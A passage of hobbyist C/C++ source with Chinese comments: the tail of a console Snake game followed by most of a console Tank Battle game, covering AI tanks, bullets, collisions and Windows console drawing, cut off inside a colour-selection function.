<< " "; } else print_food(); locate(snake[0].x,snake[0].y); cout << "@"; /*** 如果自撞 ***/ if (!is_correct()) { system("cls"); cout << "You lose!" << endl << "Length: " << snake_length << endl; return false; } return true; } /*** 主函数 ***/ int main() { cout << "--------------------贪吃蛇---------------------" << endl; cout << "请注意窗口大小,以免发生错位.建议将窗口调为最大." << endl; cout << "先选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl; cout << "然后进入游戏画面,以方向键控制方向.祝你游戏愉快!" << endl; cout << "-----------------------------------------------" << endl; m=25; n=40; if (m<10 || n<10 || m>25 || n>40) { cout << "ERROR" << endl; system("pause"); return 0; } int hard; cin >> hard; if (hard<=0 || hard>100) { cout << "ERROR" << endl; system("pause"); return 0; } /*** 数据全部初始化,包括蛇长,位置,方向 ***/ snake_length=5; clock_t a,b; char ch; double hard_len; for (int i=0;i<=4;i++) { snake[i].x=1; snake[i].y=5-i; } dir=3; /*** 输出初始地图,蛇与食物 ***/ system("cls"); hide(); print_wall(); print_food(); print_snake(); locate(m+2,0); cout << "Now length: "; /*** 开始游戏 ***/ while (1) { /*** 难度随长度增加而提高 ***/ hard_len=(double)snake_length/(double) (m*n); /*** 调节时间,单位是ms ***/ a=clock(); while (1) { b=clock(); if (b-a>=(int)(400-30*hard)*(1-sqrt(hard_len))) break; } /*** 接受键盘输入的上下左右,并以此改变方向 ***/ if (kbhit()) { ch=getch(); if (ch==-32) { ch=getch(); switch(ch) { case 72: if (dir==2 || dir==3) dir=0; break; case 80: if (dir==2 || dir==3) dir=1; break; case 75: if (dir==0 || dir==1) dir=2; break; case 77: if (dir==0 || dir==1) dir=3; break; } } } /*** 前进 ***/ if (!go_ahead()) break; /*** 在最后输出此时长度 ***/ locate(m+2,12); cout << snake_length; } system("pause"); return 0; }
坦克大战
#include <stdio.h> #include <windows.h> #include <time.h> //里规格:长39*2=78 (真坐标)(假坐标宽为39) 高39 //外规格:长41*2=82 (真坐标)(假坐标宽为41) 高41 #define UP 1 #define DOWN 2 #define LEFT 3 #define RIGHT 4 #define MAX_LEVEL 8 #define BULLET_NUM 20 #define MAX_LIFE 4 //程序中未写入函数参数表中且未说明的变量只有map二维数组,level_info数组和level /* 此程序中涉及的x,y类的坐标值,分为以下两种: 假坐标:这里的坐标指的是以一个■长度为单位的坐标,而不是真正的coord坐标 (用于map数组的坐标) 真坐标:头文件自带的坐标结构coord中的坐标(也可以说是控制台里的真正坐标值) 区别:纵坐标y两值一致,假横坐标x值与真正coord横坐标(真坐标)关系是 x * 2 = coord 横坐标 coord横坐标既指GoTo函数中的x参数,因为本程序游戏界面以一个■长度为基本单位, 可以说涉及的coord横坐标全是偶数。既假坐标要变真坐标(变真坐标才能发挥真正作用),横坐标须乘以2 */ typedef struct //这里的出现次序指的是一个AI_tank变量中的次序,游戏共有四个AI_tank变量 { //∵设定每个AI_tank每种特殊坦克只出现一次 ∴fast_tank & firm_tank 最多出现次数不超过1 int fast_tank_order; //fast_tank出现的次序(在第fast_tank_order次复活出现,从第0次开始),且每个AI_tank只出现一次 int firm_tank_order; //firm_tank出现的次序,同上 } LevInfo; //关卡信息(准确说是该关出现的坦克信息) LevInfo level_info [MAX_LEVEL] = {{-1,-1},{3,-1},{-1,3},{2,3},{2,3},{2,3},{2,3},{2,3}}; //初始化,-1代表没有该类型坦克 typedef struct //子弹结构体 { int x,y; //子弹坐标,假坐标 int direction; //子弹方向变量 bool exist; //子弹存在与否的变量,1为存在,0不存在 bool initial; //子弹是否处于建立初状态的值,1为处于建立初状态,0为处于非建立初状态 bool my; //区分AI子弹与玩家子弹的标记,0为AI子弹,1为玩家(我的)子弹 } Bullet; Bullet bullet [BULLET_NUM]; //考虑到地图上不太可能同时存在20颗子弹,所以数组元素设置20个 typedef struct //坦克结构体 { int x,y; //坦克中心坐标 int direction; //坦克方向 int color; //颜色参方向数,1到6分别代表不同颜色,具体在PrintTank函数定义有说明 int model; //坦克图案模型,值为1,2,3,分别代表不同的坦克图案,0为我的坦克图案,AI不能使用 int stop; //只能是AI坦克使用的参数,非0代表坦克停止走动,0为可以走动 int revive; //坦克复活次数 int num; //AI坦克编号(固定值,为常量,初始化函数中定下)0~3 int CD; //发射子弹冷却计时 bool my; //是否敌方坦克参数,我的坦克此参数为1,为常量 bool alive; //存活为1,不存活为0 } Tank; Tank AI_tank[4] , my_tank; //my_tank为我的坦克,Ai_tank 代表AI坦克 //∵所有的函数都有可能对全局变量map进行读写(改变), //∴函数中不另说明是否会对全局变量map读写 //基本操作与游戏辅助函数 void GoToxy(int x,int y); //光标移动 void HideCursor(); //隐藏光标 void keyboard (); //接受键盘输入 void Initialize(); //初始化(含有对多个数据的读写) void Stop(); //暂停 void Getmap(); //地图数据存放与获取 void Frame (); //打印游戏主体框架 void PrintMap(); //打印地图(地图既地图障碍物)(含对level的读取) void SideScreen (); //副屏幕打印 void GameCheak(); //检测游戏输赢 void GameOver( bool home ); //游戏结束 void ClearMainScreen(); //主屏幕清屏函数∵system("cls")后打印框架有一定几率造成框架上移一行的错误∴单独编写清屏函数 void ColorChoose(int color); //颜色选择函数 void NextLevel(); //下一关(含有对level全局变量的读写) //子弹部分 void BuildAIBullet(Tank *tank); //AI坦克发射子弹(含有对my_tank的读取,只读取了my_tank坐标) void BuildBullet (Tank tank); //子弹发射(建立)(人机共用)(含全局变量bullet的修改)我的坦克发射子弹直接调用该函数,AI通过AIshoot间接调用 void BulletFly (Bullet bullet[BULLET_NUM]); //子弹移动和打击(人机共用), void BulletHit (Bullet* bullet); //子弹碰撞(人机共用)(含Tank全局变量的修改),只通过BulletFly调用,子弹间的碰撞不在本函数,子弹间碰撞已在BulletShoot中检测并处理 void PrintBullet (int x,int y,int T); //打印子弹(人机共用) void ClearBullet (int x,int y,int T); //清除子弹(人机共用) int BulletCheak (int x,int y); //判断子弹前方情况(人机共用) //坦克部分 void BuildAITank (int* position, Tank* AI_tank); //建立AI坦克 void BuildMyTank (Tank* my_tank); //建立我的坦克 void MoveAITank (Tank* AI_tank); //AI坦克移动 void MoveMyTank (int turn); //我的坦克移动,只通过keyboard函数调用,既键盘控制 void ClearTank (int x,int y); //清除坦克(人机共用) void PrintTank (Tank tank); //打印坦克(人机共用) bool TankCheak (Tank tank,int direction); //检测坦克dirtection方向的障碍物,返值1阻碍,0 畅通 int AIPositionCheak (int position); //检测AI坦克建立位置是否有障碍物AIPositionCheak //DWORD WINAPI InputX(LPVOID lpParameter); //声明线程函数,用于检查X键输入并设置X键的输入冷却时间 //注意map数组应是纵坐标在前,横坐标在后,既map[y][x],(∵数组行长度在前,列长度在后) //map里的值: 个位数的值为地图方块部分,百位数的值为坦克,子弹在map上没有值(子弹仅仅是一个假坐标) //map里的值: 0为可通过陆地,1为红砖,2黄砖,5为水,100~103为敌方坦克,200为我的坦克, //全局变量 int map[41][41]; //地图二维数组 int key_x; // X键是否被“读入”的变量,也是子弹是否可以发射的变, int bul_num; //子弹编号 int position; //位置计数,对应AI坦克生成位置,-1为左位置,0为中间,1为右,2为我的坦克位置 int speed=7; //游戏速度,调整用 int level=1; //游戏关卡数 int score=0; //游戏分数 int remain_enemy; //剩余敌人(未出现的敌人) char* tank_figure[4][3][4]= { { {"◢┃◣", "◢━◣", "◢┳◣", "◢┳◣"}, {"┣●┫", "┣●┫", "━●┃", "┃●━"}, {"◥━◤", "◥┃◤", "◥┻◤", "◥┻◤"} }, { {"┏┃┓", "┏┳┓", "┏┳┓", "┏┳┓"}, {"┣●┫", "┣●┫", "━●┫", "┣●━"}, {"┗┻┛", "┗┃┛", "┗┻┛", "┗┻┛"} }, { {"┏┃┓", "◢━◣", "┏┳◣", "◢┳┓"}, {"┣●┫", "┣●┫", "━●┃", "┃●━"}, {"◥━◤", "┗┃┛", "┗┻◤", "◥┻┛"} }, { {"╔┃╗", "╔╦╗", "╔╦╗", "╔╦╗"}, {"╠█╣", "╠█╣", "━█╣", "╠█━"}, {"╚╩╝", "╚┃╝", "╚╩╝", "╚╩╝"} } }; int main () //主函数 { int i; unsigned int interval[12]={1,1,1,1,1,1,1,1,1,1,1,1} ; //间隔计数器数组,用于控制速度 srand(time(NULL)); //设置随机数种子(若不设置种子而调用rand会使每次运行的随机数序列一致)随机数序列指:如首次调用rand得到1,第二次得2,第三次3,则此次随机数序列为1,2,3 HideCursor(); //隐藏光标 system("mode con cols=112 lines=42"); //控制窗口大小 Frame (); //打印游戏主体框架 Initialize(); //初始化,全局变量level初值便是1 // HANDLE h1 , h2 ; //定义句柄变量 for(;;) { if(interval[0]++%speed==0) //速度调整用,假设interval[0]为a, 语句意为 a % 2==0,a=a+1; { GameCheak(); //游戏胜负检测 BulletFly ( bullet ); for(i=0 ; i<=3 ; i++) //AI坦克移动循环 { if(AI_tank[i].model==2 && interval[i+1]++%2==0) //四个坦克中的快速坦克单独使用计数器1,2,3,4 MoveAITank( & AI_tank[i]); if(AI_tank[i].model!=2 && interval[i+5]++%3==0) //四个坦克中的慢速坦克单独使用计数器5,6,7,8 MoveAITank( & AI_tank[i]); } for(i=0;i<=3;i++) //建立AI坦克部分 if(AI_tank[i].alive==0 && AI_tank[i].revive<4 && interval[9]++%90==0) //一个敌方坦克每局只有4条命 { //如果坦克不存活。计时,每次建立有间隔 1750 ms BuildAITank( &position, & AI_tank[i] ); //建立AI坦克(复活) break; //每次循环只建立一个坦克 } for(i=0;i<=3;i++) if(AI_tank[i].alive) BuildAIBullet(&AI_tank[i]); //AIshoot自带int自增计数CD,不使用main中的CD interval if(my_tank.alive && interval[10]++%2==0 ) keyboard (); if(my_tank.alive==0 && interval[11]++%30==0 && my_tank.revive < MAX_LIFE) BuildMyTank( &my_tank ); } Sleep(5); } return 0; } /*//这里的多线程暂时不用 //x键用于子弹发射,x键的冷却时间不能和上下左右一同设置,那样就太快了 DWORD WINAPI InputX(LPVOID lpParameter) //如果不用多线程运行,那么在x键冷却时间内程序会因Sleep将会挂起,暂停运行 { //因为只有一个变量改变,而且变量改变先后顺序是显而易见的,所以不必设置缓冲区 for(;;) { if(GetAsyncKeyState( 88 )& 0x8000) //88为x键键值,当摁下x并且x键处于可输入状态 { key_x=1; // X键是否允许被“读入”的变量,也是子弹是否可以发射的变量 Sleep(600); // 子线程Sleep中,x就不能被"读入",主线程每操作完一次子弹发射,key_x会归零 } Sleep(10); } return 0; }*/ void keyboard () { // kbhit() getch() 用法可用但是不好用 /* 函数功能:该函数判断在此函数被调用时,某个键是处于UP状态还是处于DOWN状态,及前次调用GetAsyncKeyState函数后, 是否按过此键.如果返回值的最高位被置位,那么该键处于DOWN状态;如果最低位被置位,那么在前一次调用此函数后,此键被按过, 否则表示该键没被按过. 这里GetAsyncKeyState比 kbhit() + getch() 好用,操作更顺畅. GetAsyncKeyState的返回值表示两个内容, 一个是最高位bit的值,代表这个键是否被按下。一个是最低位bit的值,代表上次调用GetAsyncKeyState后,这个键是否被按下。 &为与操作,&0x8000就是判断这个返回值的高位字节。如果high-order bit是1,则是按下状态,否则是弹起状态,为0 */ int count=0; if (GetAsyncKeyState(VK_UP)& 0x8000) MoveMyTank( UP ); else if (GetAsyncKeyState(VK_DOWN)& 0x8000) MoveMyTank( DOWN ); else if (GetAsyncKeyState(VK_LEFT)& 0x8000) MoveMyTank( LEFT ); else if (GetAsyncKeyState(VK_RIGHT)& 0x8000) MoveMyTank( RIGHT ); else if (GetAsyncKeyState( 0x1B )& 0x8000) // Esc键 exit(0); //退出程序函数 else if (GetAsyncKeyState( 0x20 )& 0x8000) //空格 Stop(); else if (count++%7==0) //这里添加计数器是为了防止按键粘连不能达到微调效果 { if (speed>1 && GetAsyncKeyState( 0x6B )& 0x8000) // +键 { speed--; GoToxy(102,11); //在副屏幕打印出当前速度 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED); printf("%d ",21-speed); //副屏幕显示的速度为1~10 } else if (speed<20 && GetAsyncKeyState( 0x6D )& 0x8000) // - 键 { speed++; GoToxy(102,11); //在副屏幕打印出当前速度 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED); printf("%d ",21-speed); //副屏幕显示的速度为1~10 } } if(my_tank.CD==7) { if(GetAsyncKeyState( 88 )& 0x8000) { BuildBullet(my_tank); my_tank.CD=0; } } else my_tank.CD++; } void BuildAIBullet(Tank *tank) //AI子弹发射(建立)含有对my_tank的读取 { if(tank->CD==15) { if(!(rand()%11)) //冷却结束后在随后的每个游戏周期中有10分之一的可能发射子弹 { BuildBullet(*tank); tank->CD=0; } } else tank->CD++; if(tank->CD >= 14) //AI强化部分,在冷却到达一定范围即可使用 { if(tank->y==38 ) //如果坦克在底部(这个最优先) { if(tank->x < 20) //在老家左边 { if(tank->direction==RIGHT) //坦克方向朝左 { BuildBullet(*tank); //发射子弹 tank->CD=0; } } else //在老家右边 if(tank->direction==LEFT) //坦克方向朝右 { BuildBullet(*tank); //发射子弹 tank->CD=0; } } else if(tank->x==my_tank.x+1 || tank->x==my_tank.x || tank->x==my_tank.x-1) //AI坦克在纵向上"炮口"对准我的坦克 { if(tank->direction==DOWN && my_tank.y > tank->y || tank->direction==UP && my_tank.y < tank->y) { //若是AI朝下并且我的坦克在AI坦克下方(数值大的在下面)或者AI朝上我的坦克在AI上方 int big=my_tank.y , smal=tank->y , i; if(my_tank.y < tank->y) { big=tank->y; smal=my_tank.y; } for(i=smal+2;i<=big-2;i++) //判断AI炮口的直线上两坦克间有无障碍 if(map[i][tank->x]!=0 || map[i][tank->x]!=5) //若有障碍 break; if(i==big-1) //若i走到big-1说明无障碍 { BuildBullet(*tank); //则发射子弹 tank->CD=0; } } } else if(tank->y==my_tank.y+1 || tank->y==my_tank.y || tank->y==my_tank.y-1) //AI坦克在横向上"炮口"对准我的坦克 { if(tank->direction==RIGHT && my_tank.x > tank->x || tank->direction==LEFT && my_tank.x < tank->x) { //若是AI朝右并且我的坦克在AI坦克右方(数值大的在下面)或者AI朝左我的坦克在AI左方 int big=my_tank.y , smal=tank->y , i; if(my_tank.x < tank->x) { big=tank->x; smal=my_tank.x; } for(i=smal+2;i<=big-2;i++) //判断AI炮口的直线上两坦克间有无障碍 if(map[tank->y][i]!=0 || map[tank->y][i]!=5) //若有障碍 break; if(i==big-1) //若i走到big-1说明无障碍 { BuildBullet(*tank); //则发射子弹 tank->CD=0; } } } } } void BuildBullet(Tank tank) //子弹发射(建立),传入结构体Tank,这里包含改变了全局变量结构体bullet { //∵实现方式为顺序循环建立子弹,每次调用改变的bullet数组元素都不同 switch(tank.direction) //∴为了方便,不将bullet放入参数,bullet作为全局变量使用 { case UP : bullet [bul_num].x = tank.x; bullet [bul_num].y = tank.y-2; bullet [bul_num].direction=1; break; case DOWN : bullet [bul_num].x = tank.x; bullet [bul_num].y = tank.y+2; bullet [bul_num].direction=2; break; case LEFT : bullet [bul_num].x = tank.x-2; bullet [bul_num].y = tank.y; bullet [bul_num].direction=3; break; case RIGHT : bullet [bul_num].x = tank.x+2; bullet [bul_num].y = tank.y; bullet [bul_num].direction=4; break; } bullet [bul_num].exist = 1; //子弹被建立,此值为1则此子弹存在 bullet [bul_num].initial = 1; //子弹处于初建立状态 bullet [bul_num].my=tank.my; //如果是我的坦克发射的子弹bullet.my=1,否则为0 bul_num++; if(bul_num==BULLET_NUM) //如果子弹编号增长到20号,那么重头开始编号 bul_num=0; //考虑到地图上不可能同时存在20颗子弹,所以数组元素设置20个 } void BulletFly(Bullet bullet[BULLET_NUM]) //子弹移动和打击 { //含有全局变量Bullet的改变 for(int i =0; i<BULLET_NUM;i++) { if(bullet [i].exist) //如果子弹存在 { if(bullet [i].initial==0) //如果子弹不是初建立的 { if(map[bullet[i].y] [bullet[i].x]==0 || map[bullet[i].y] [bullet[i].x]==5) //如果子弹坐标当前位置无障碍 ClearBullet( bullet[i].x , bullet[i].y , BulletCheak(bullet[i].x , bullet[i].y )); //抹除子弹图形 switch(bullet [i].direction) //然后子弹坐标变化(子弹变到下一个坐标) { case UP :(bullet [i].y)--;break; case DOWN :(bullet [i].y)++;break; case LEFT :(bullet [i].x)--;break; case RIGHT :(bullet [i].x)++;break; } } int collide = BulletCheak ( bullet [i].x , bullet [i].y ); //判断子弹当前位置情况,判断子弹是否碰撞,是否位于水面上。 if( collide ) //如果检测到当前子弹坐标无障碍(无碰撞)(包括在地面上与在水面上) PrintBullet( bullet[i].x , bullet[i].y , collide); //则打印子弹,若有碰撞则不打印 else BulletHit( & bullet [i] ); //若有碰撞则执行子弹碰撞函数 if(bullet [i].initial) //若子弹初建立,则把初建立标记去除 bullet [i].initial = 0; for(int j=0; j< BULLET_NUM ; j++) //子弹间的碰撞判断,若是我方子弹和敌方子弹碰撞则都删除,若为两敌方子弹则无视 if(bullet [j].exist && j!=i && (bullet[i].my || bullet[j].my) && bullet[i].x==bullet[j].x && bullet[i].y==bullet[j].y) { //同样的两颗我方子弹不可能产生碰撞 bullet [j].exist=0; bullet [i].exist=0; ClearBullet( bullet[j].x , bullet[j].y , BulletCheak(bullet[j].x , bullet[j].y )); //抹除j子弹图形,子弹i图形已被抹除 break; } } } } void BulletHit(Bullet* bullet) //含有Tank全局变量的修改,子弹间的碰撞不在本函数,子弹间碰撞已在BulletShoot中检测并处理 { //∵每次打中的坦克都不一样,不可能把所有坦克放在参数表中 int x=bullet->x; //∴这里的Tank使用全局变量 int y=bullet->y; //这里传入的值是子弹坐标,这两个值不需要改变 int i; if(map[y][x]==1 || map[y][x]==2) //子弹碰到砖块 { if(bullet->direction==UP || bullet->direction==DOWN) //如果子弹是纵向的 for(i = -1 ; i<=1 ; i++) if(map[y][x+i]==1 || map[y][x+i]==2) //如果子弹打中砖块两旁为砖块,则删除砖,若不是(一旁为坦克或其他地形)则忽略 { map[y][x+i]=0; //砖块碎 GoToxy(2*x+2*i,y); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); //背景黑色 printf(" "); } if(bullet->direction==LEFT || bullet->direction==RIGHT) //若子弹是横向的 (与子弹纵向实现同理) for(i = -1 ; i<=1 ; i++) if(map[y+i][x]==1 || map[y+i][x]==2) { map[y+i][x]=0; GoToxy(2*x,y+i); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); //背景黑色 printf(" "); } bullet->exist=0; //这颗子弹已经不存在了 } else if(map[y][x]==4 || map[y][x]==6 ) //子弹碰到边框或者不可摧毁方块 bullet->exist=0; else if(bullet->my && map[y][x]>=100 && map[y][x]<104 ) //若我的子弹碰到了敌方坦克 { int num = map[y][x]%100; //map[y][x]%100 等同于 tank.num ,可通过map值读取该坦克信息 if(AI_tank[num].model==3 && AI_tank[num].color==2) //若为firm tank,且color==2。该坦克为绿色,表明没有受到伤害 AI_tank[num].color=3; //则变成黄色,color=3为黄色 else if (AI_tank[num].model==3 && AI_tank[num].color==3) AI_tank[num].color=4; //4为红色 else //其他类型的坦克或者firm tank为红色的情况 { AI_tank[num].alive=0; ClearTank(AI_tank[num].x , AI_tank[num].y); //清除该坦克 } bullet->exist=0; score+=100; GoToxy(102,5); //在副屏幕上打印出分数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); printf("%d ",score); } else if(map[y][x]==200 && bullet->my==0 ) //若敌方子弹击中我的坦克 { my_tank.alive=0; ClearTank(my_tank.x , my_tank.y); bullet->exist=0; my_tank.revive++; //我的坦克复活次数+1(∵我的坦克复活次数与生命值有关∴放在这里自减) score-=100; //分数减少 GoToxy(102,5); //在副屏幕上打印出分数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); printf("%d ",score); GoToxy(102,7); //在副屏幕打印出我的剩余生命值 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); printf("%d ", MAX_LIFE-my_tank.revive); } // else if(bullet->my==0 && map[y][x]>=100 && map[y][x]<104) //敌方子弹击中敌方坦克,可以设置两种子弹运行方式,这种暂时不用 // bullet->exist=0; else if(map[y][x]==9) //子弹碰到家(无论是谁的子弹) { bullet->exist=0; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN); GoToxy(38,37); printf(" "); GoToxy(38,38); printf("◢◣ "); GoToxy(38,39); printf("███"); GameOver(1); //游戏结束,传入1代表老家被毁 } } int BulletCheak (int x,int y) //判断子弹当前位置情况,判断子弹是否碰撞,是否位于水面上。 { //有障碍返回0,无障碍且子弹在地面返回1,子弹在水面上返回2 if(map[y][x]==0) return 1; else if(map[y][x]==5) return 2; else return 0; } void PrintBullet (int x,int y,int T) //当前坐标BulletCheak 的值做参量 T { if(T==1) // T==1 表示子弹当前坐标在陆地上 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY); else if(T==2) // T==2 表示子弹当前坐标在水面上 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE); GoToxy(2*x,y); printf("●"); } void ClearBullet(int x,int y,int T) //当前坐标BulletCheak 的值做参量 T { GoToxy(2*x,y); if(T==2) // T==2 表示子弹当前坐标在水面上 { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|BACKGROUND_BLUE|FOREGROUND_BLUE|FOREGROUND_GREEN); printf("~"); } else if(T==1) // T==1 表示子弹当前坐标在陆地上 { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE); printf("●"); } } //position为坦克生成位置,-1为左位置,0为中间,1为右,2为我的坦克位置 void BuildAITank(int* position, Tank* AI_tank) //执行一次该函数只建立一个坦克 { //rand函数公式:0<=rand()%(a+1)<=a 0+m<=rand()%(n-m+1)+m<=n //rand函数实现1到n:1<=rand()%(n)+1<=n if(AIPositionCheak(*position)) //若此位置无障碍,可生成。position参数详见AIPositionCheak函数定义 { AI_tank->x= 20 + 18*(*position); //20 + 18 * position 对应三个生成位置的x假坐标 AI_tank->y=2; if(AI_tank->revive==level_info[level-1].firm_tank_order) //坦克出现(复活)次序==关卡信息(level_info)中firm tank的出现次序 { AI_tank->model = 3; //3为firm tank的模型(外观) AI_tank->color = 2; //颜色参数2为绿色,具体详见函数ColorChoose } else if(AI_tank->revive==level_info[level-1].fast_tank_order) //同上if,这里是fast_tank的 { AI_tank->model = 2; AI_tank->color = rand()%6+1; //若不是firm tank则随机颜色,颜色参数为1~6,分别代表不同颜色,详见函数ColorChoose } else //普通坦克 { AI_tank->model = 1; AI_tank->color = rand()%6+1; //若不是firm tank则随机颜色 } AI_tank->alive = 1; //坦克变为存在 AI_tank->direction = 2 ; //方向朝下 AI_tank->revive++; //复活次数+1 PrintTank(*AI_tank); (*position)++; remain_enemy--; GoToxy(102,9); //在副屏幕上打印剩余坦克数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); printf("%d ",remain_enemy); if(*position==2) //position只能为0,1,-1,这里position循环重置 *position = -1; return ; //若生成了一辆坦克,则结束该函数 } } int AIPositionCheak( int position ) //position为坦克生成位置2为我的坦克位置,其余为AI位,-1为左位,0为中间位置,1为右位 { int x,y; if(position==2) //2为我的坦克位置,现在暂时用不到 x=15,y=38; else y=2 , x= 20 + 18 * position ; //20 + 18 * position 对应三个生成位置的x假坐标 for(int i=0;i<3;i++) for(int j=0;j<3;j++) if( map[y+j-1][x+i-1]!=0) //如果遍历的九宫格里有障碍物 return 0; //则返回0,表示此生成位置有阻碍 return 1; //否则生成1,表示此生成位置无阻碍 } void MoveAITank(Tank* AI_tank) //AI专用函数,该函数主要为AI加强 { if(AI_tank->alive) //如果坦克活着 { if(AI_tank->stop!=0) //坦克是否停止运动的判断,若stop参数不为0 { AI_tank->stop--; //则此坦克本回合停止运动 return; } if( !(rand()%23) ) //22分之1的概率执行方向重置 { AI_tank->direction = rand()%4+1; if( rand()%3 ) //在方向重置后有2分之1的概率停止走动3步的时间 { AI_tank->stop=2; return; } } ClearTank (AI_tank->x , AI_tank->y); if(TankCheak ( *AI_tank , AI_tank->direction)) //如果前方无障碍 switch ( AI_tank->direction ) { case UP : AI_tank->y--; break; //上前进一格 case DOWN : AI_tank->y++; break; //下前进一格 case LEFT : AI_tank->x--; break; //左前进一格 case RIGHT: AI_tank->x++; break; //右前进一格 } else //前方有障碍 { if(!(rand()%4)) //3分之1的概率乱转 { AI_tank->direction=rand()%4+1; AI_tank->stop=2; //乱转之后停止走动3步的时间 PrintTank(*AI_tank); return; //∵continue会跳过下面的打印函数,∴这里先打印 } else //另外3分之2的几率选择正确的方向 { int j; for(j=1;j<=4;j++) if(TankCheak ( *AI_tank , j )) //循环判断坦克四周有无障碍,此函数返值1为可通过 break; if(j==5) //j==5说明此坦克四周都有障碍物,无法通行 { PrintTank(*AI_tank); return; //则跳过下面的while循环以防程序卡死 } while(TankCheak ( *AI_tank , AI_tank->direction) == 0) //如果前方仍有障碍 AI_tank->direction=(rand()%4+1); //则换个随机方向检测 } } PrintTank(*AI_tank); //打印AI坦克 } } void BuildMyTank (Tank* my_tank) //建立我的坦克 { my_tank->x=15; my_tank->y=38; my_tank->stop=NULL; my_tank->direction=1; my_tank->model=0; my_tank->color=1; my_tank->alive=1; my_tank->my=1; my_tank->CD=7; PrintTank (*my_tank) ; //打印我的坦克 } void MoveMyTank(int turn ) //玩家专用函数,turn为keyboard函数里因输入不同方向键而传入的不同的值 { ClearTank(my_tank.x , my_tank.y); //map 数组中“我的坦克”参数清除工作已在此函数中完成 my_tank.direction=turn; //将键盘输入的方向值传入我的坦克方向值 if(TankCheak ( my_tank , my_tank.direction )) //若此时我的坦克当前方向上无障碍 switch (turn) { case UP : my_tank.y--; break; //上前进一格 case DOWN : my_tank.y++; break; //下前进一格 case LEFT : my_tank.x--; break; //左前进一格 case RIGHT: my_tank.x++; break; //右前进一格 } //若坦克当前方向上有障碍则跳过坐标变化直接打印该转向的坦克 PrintTank (my_tank); } bool TankCheak(Tank tank,int direction) //检测坦克前方障碍函数,参量为假坐标。返值1为可通过,返值0为阻挡(人机共用) { switch(direction) //direction变量 1上,2下,3左,4右 { case UP: if (map[tank.y-2][tank.x]==0 && map[tank.y-2][tank.x-1]==0 && map[tank.y-2][tank.x+1]==0) return 1; else return 0; case DOWN: if (map[tank.y+2][tank.x]==0 && map[tank.y+2][tank.x-1]==0 && map[tank.y+2][tank.x+1]==0) return 1; else return 0; case LEFT: if (map[tank.y][tank.x-2]==0 && map[tank.y-1][tank.x-2]==0 && map[tank.y+1][tank.x-2]==0) return 1; else return 0; case RIGHT: if (map[tank.y][tank.x+2]==0 && map[tank.y-1][tank.x+2]==0 && map[tank.y+1][tank.x+2]==0) return 1; else return 0; default: printf("错误!!"); Sleep(5000); return 0; } } void ClearTank(int x,int y) //清除坦克函数(人机共用) { for(int i=0;i<3;i++) for(int j=0;j<3;j++) { //将坦克占用的地图上的九格去掉 map[y+j-1][x+i-1]=0; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN); GoToxy(2*x+2*j-2,y+i-1); printf(" "); } } void PrintTank(Tank tank) //打印坦克(人机共用) 由于读取的Tank参数较多,故就不将参数一一传入了 { // tank.color参数对应不同的颜色,范围 1 ~ 6 ColorChoose(tank.color); //颜色选择函数 定义一个数组里装着字符指针(既装字符串)的数组指针(指向一维数组首地址的指针) char *(*tankF)[4] = tank_figure[tank.model]; //将二维数组首址赋初值给数组指针 model==0为我的坦克,4为电脑1坦克,8为电脑2,类推 for(int i = 0; i < 3; i++) { GoToxy((tank.x-1)*2 , tank.y-1+i); //在坦克中心坐标的左边,上中下三行打印 printf("%s", tankF[i][tank.direction-1]); //打印的是地址,地址既字符串 for(int j=0;j<3;j++) if(tank.my) //若为我的坦克 map[tank.y+j-1][tank.x+i-1]=200; //在map上把"坦克"九格填满代表敌我坦克的参数。敌方此值为100~103,我方为200 else map[tank.y+j-1][tank.x+i-1]=100+tank.num; //这样可以通过map值读取坦克编号,读取操作在BulletHit 函数 } } void HideCursor() //隐藏光标 { //CONSOLE_CURSOR_INFO结构体包含控制台光标的信息,DWORD dwSize光标百分比厚度(1~100)和BOOL bVisible光标是否可见 CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); //SetConsoleCursorInfo用来设置指定的控制台光标的大小和可见性。 } void GoToxy(int x,int y) //光标移动函数,X表示横坐标,Y表示纵坐标。 { COORD coord; //使用头文件自带的坐标结构 coord.X=x; //这里将int类型值传给short,不过程序中涉及的坐标值均不会超过short范围 coord.Y=y; HANDLE a=GetStdHandle(STD_OUTPUT_HANDLE); //获得标准输出句柄 SetConsoleCursorPosition(a,coord); //以标准输出的句柄为参数设置控制台光标坐标 } void ColorChoose(int color) //颜色选择函数 { switch(color) { case 1: //天蓝色(我的坦克颜色) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); break; case 2: //绿色 